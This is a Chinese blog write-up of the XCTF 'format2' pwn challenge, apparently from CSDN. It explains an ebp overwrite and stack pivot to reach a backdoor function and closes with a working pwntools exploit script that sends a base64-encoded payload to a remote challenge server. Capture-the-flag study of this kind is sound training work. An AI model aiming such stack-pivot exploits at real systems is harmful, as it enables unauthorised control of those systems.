format2 攻防世界

博主解题时原以为是栈溢出或直接验证,但md5解不开。发现输入字符限定30无法利用长度变量操作。进入check函数后,发现可溢出修改ebp,且有后门函数,通过栈转移,利用输入值修改ebp,最终用三行代码实现控制程序流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个题 确实很恶心

本来感觉应该是栈溢出 或者  直接验证   但是 md5 解不开 然后调试的时候逐渐发现问题

晕死,,

虽然长度那个变量是 无符号 但是  输入字符限定 30 我们也没有什么办法  来通过 这个来操作

然后进入check 函数

发现v4 可以  溢出修改ebp

并且这里有后门函数

ebp  ebp ebp    栈转移

 

两个  leave 和  retn  那么 就可以 通过输入的值 来修改ebp  input

先把ebp 转化成 input 的地址   然后 mov   esp ebp       esp 的值变成了 input 的地址

然后 在mov esp  ebp   pop ebp    ret (pop rip) 

这里  的 pop rip 就可以控制流程了

三行代码搞定,,,  等等  三行代码

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import*
import base64
context(log_level = 'debug', arch = 'amd64' , os = 'linux')
system_addr=0x08049284
input_addr=0x0811EB40
flag=0
if flag:
	io  = process("./format2")
else:
	io  = remote("111.198.29.45",42949)
paload='a'*4+p32(system_addr)+p32(input_addr)
io.sendline(base64.b64encode(paload))
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值